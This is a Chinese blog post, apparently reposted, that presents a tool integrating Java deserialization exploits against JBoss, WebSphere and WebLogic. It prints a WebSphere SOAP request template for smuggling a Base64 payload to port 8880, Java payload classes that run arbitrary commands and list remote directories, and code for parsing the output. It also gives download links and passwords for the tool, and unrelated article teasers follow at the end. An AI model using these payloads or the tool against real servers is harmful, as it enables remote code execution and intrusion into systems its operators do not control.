Java反序列化集成工具

0X00 概述

Java反序列化漏洞已经被曝出一段时间了,本人参考了网上大神的放出来的工具,将Jboss、Websphere和weblogic的反序列化漏洞的利用集成到了一起。其实,WebSphere的利用过程也和JBoss差不多,只不过在发送Payload和解析结果的时候多了个Base64编码(解码)的过程。

[[161347]]

本工具暂时支持的功能:

1、本地命令执行并回显,无须加载外部jar包,支持纯内网环境检测。

2、支持JBoss、WebSphere和Weblogic的反序列化漏洞检测。

3、支持https数据传输。

4、支持文件目录列表。

0X01 WebSphere的反序列化漏洞利用过程

WebSphere的反序列化漏洞发生的位置在SOAP的通信端口8880,使用的通信协议是https,发送的数据是XML格式的数据。

  1. <?xml version='1.0'encoding='UTF-8'?> 
  2.   <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> 
  3.   <SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0"> 
  4.   <LoginMethod>BasicAuth</LoginMethod> 
  5.   </SOAP-ENV:Header> 
  6.   <SOAP-ENV:Body> 
  7.   <ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> 
  8.   <objectname xsi:type="ns1:javax.management.ObjectName">Base64(payload)</objectname> 
  9.   <attribute xsi:type="xsd:string">ringBufferSize</attribute> 
  10.   </ns1:getAttribute> 
  11.   </SOAP-ENV:Body> 
  12.   </SOAP-ENV:Envelope> 

将我们构造的执行命令的payload通过base64编码后放在objectname节点中,通过https发送到服务器端,服务器端调用相应的执行函数,将结果发送给客户端,同样的,返回的数据也是经过base64编码的。WebSphere的Payload和JBoss的基本一致。如下是执行命令的payload。

  1. public RunCommand(String command) throws Exception  
  2.    {  
  3.            Process proc = Runtime.getRuntime().exec(command);  
  4.            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));  
  5.            StringBuffer sb = new StringBuffer();  
  6.            String line;  
  7.            while ((line = br.readLine()) != null)  
  8.            {  
  9.                sb.append(line).append("\n");  
  10.            }  
  11.            String result = "\r\n\r\n==========" + sb.toString() + "==========\r\n";  
  12.            br.close();  
  13.            Exception e=new Exception(result);  
  14.            throw e;  
  15.    } 

将命令执行结果以字符隔开,这样在客户端获取数据后,可通过split、substring等方法对命令的执行结果进行解析。解析命令的源码如下:

  1. public static String parseResult(String result)  
  2.    {  
  3.    String tmp=result.split("<faultstring>")[1];  
  4.    String reString=tmp.split("</faultstring>")[0];  
  5.    String resultTmp=new String(Base64.getDecoder().decode(reString));  
  6.    int x1=resultTmp.indexOf("==========")+10;  
  7.    int x2=resultTmp.lastIndexOf("==========")-1;  
  8.    String returnValue="";  
  9.    if(x1>=0&&x2>=0)  
  10.    returnValue=resultTmp.substring(x1, x2).trim();  
  11.    else  
  12.    returnValue=resultTmp;  
  13.    return returnValue;  
  14.    } 

0X02 文件列表读取

获取文件列表的功能是通过Java的listRoot和listFiles来实现的,获取文件和目录列表的过程和命令执行大概相同。在这我就简单的描述一下过程:如果传入方法的是一个空值,那么就通过Files.listRoot获取根目录或者驱动器列表,否则,传入的值是路径的话,就通过file.listFiles方法获取目录下的所有文件和目录,将获取到的目录名放到{}中,将文件名放在[]中,这样,就方便我们在程序中对获取到的数据进行解析。

获取目录的payload代码如下:

  1. public GetFileList(String fileName) throws Exception  
  2.     {  
  3.     StringBuilder sb=new StringBuilder();  
  4.     String result=new String();  
  5.     if(fileName.isEmpty())  
  6.     {  
  7.     File[] files=File.listRoots();  
  8.     for(int i=0;i<files.length;i++)  
  9.     {  
  10.     sb.append(files[i].getAbsolutePath()).append(",");  
  11.     }  
  12.     result="{"+sb.toString().substring(0,sb.toString().length()-1)+"}";  
  13.     }  
  14.     else  
  15.     {  
  16.     File file=new File(fileName);  
  17.     StringBuilder dirList=new StringBuilder();  
  18.     StringBuilder fileList=new StringBuilder();  
  19.     if(file.isDirectory())  
  20.     {  
  21.     File[] list=file.listFiles();  
  22.     dirList.append("{");  
  23.     fileList.append("[");  
  24.     for(int i=0;i<list.length;i++)  
  25.     {  
  26.     if(list[i].isDirectory())  
  27.     dirList.append(list[i].getAbsolutePath()).append(",");  
  28.     else  
  29.     fileList.append(list[i].getAbsolutePath()).append(",");  
  30.     }  
  31.     }  
  32.     if(!dirList.toString().isEmpty())  
  33.     sb.append(dirList.toString().substring(0,dirList.toString().length()-1)).append("}");  
  34.     if(!fileList.toString().isEmpty())  
  35.     sb.append(fileList.toString().substring(0,fileList.toString().length()-1)).append("]");  
  36.     result=sb.toString();  
  37.     }  
  38.     result="\r\n\r\n==========\r\n"+result+"\r\n==========\r\n";  
  39.     Exception e=new Exception(result);  
  40.             throw e;  
  41.     } 

解析的时候,先将执行结果分离出来,再对结果base64解码,再进一步区分目录和文件,分别添加到界面的目录树中。

注:设计时为了美观,使用了JavaFX来设计界面,运行时需要JDK1.8环境。

程序运行效果如下:

 

工具下载地址:http://pan.baidu.com/s/1sjXjsBz 密码: b423

2016.1.5 工具更新内容:

地址: http://pan.baidu.com/s/1jGSEFFS 密码: si6t

1.多线程处理任务,解决命令执行过程中界面无法响应的问题

2.[Bug Fix]weblogic console端口改为80时无法获取数据

3.[Bug Fix]weblogic第一次获取信息或执行命令响应时间过长的问题

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/143162.html<

(0)
运维的头像运维
上一篇2025-03-09 13:57
下一篇 2025-03-09 13:58

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注